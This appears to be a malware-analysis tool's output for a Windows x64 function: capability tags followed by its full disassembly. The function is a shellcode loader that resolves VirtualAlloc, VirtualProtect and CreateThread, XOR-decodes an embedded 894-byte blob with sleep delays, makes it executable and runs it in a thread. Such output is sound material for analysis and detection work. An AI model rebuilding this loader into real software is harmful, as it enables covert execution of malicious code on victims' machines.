Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x3d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualProtect
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.WaitForSingleObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 6
lea rdx, [rsp + 0x40]
mov r12, rax
lea rcx, [0x1400032c0]
mov r8d, esi
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub r8, 1
jne 0x1400010d0
movups xmm0, xmmword [rcx]
mov rax, qword [rcx + 0x70]
lea rbx, [rsp + 0x40]
movups xmm1, xmmword [rcx + 0x10]
mov edi, 0x37e
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rax
mov eax, dword [rcx + 0x78]
mov dword [rdx + 0x78], eax
movzx eax, word [rcx + 0x7c]
mov word [rdx + 0x7c], ax
nop dword [rax]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lock xor byte [rbx], 0xa
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140001180
mov edx, 0x37e
xor ecx, ecx
mov r9d, 4
mov r8d, 0x1000
call rbp
mov rbx, rax
lea r9, [rsp + 0x40]
mov rcx, rax
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [r9]
lea r9, [r9 + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [r9 - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [r9 - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [r9 - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [r9 - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [r9 - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [r9 - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [r9 - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rsi, 1
jne 0x1400011c0
movups xmm0, xmmword [r9]
mov edx, 0x37e
mov r8d, 0x10
movups xmmword [rcx], xmm0
movups xmm1, xmmword [r9 + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [r9 + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [r9 + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [r9 + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [r9 + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [r9 + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [r9 + 0x70]
mov qword [rcx + 0x70], rax
mov eax, dword [r9 + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [r9 + 0x7c]
lea r9, [rsp + 0x30]
mov word [rcx + 0x7c], ax
mov rcx, rbx
call r14
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call r15
mov edx, 0xffffffff
mov rcx, rax
call r12
xor eax, eax
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.140001300
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret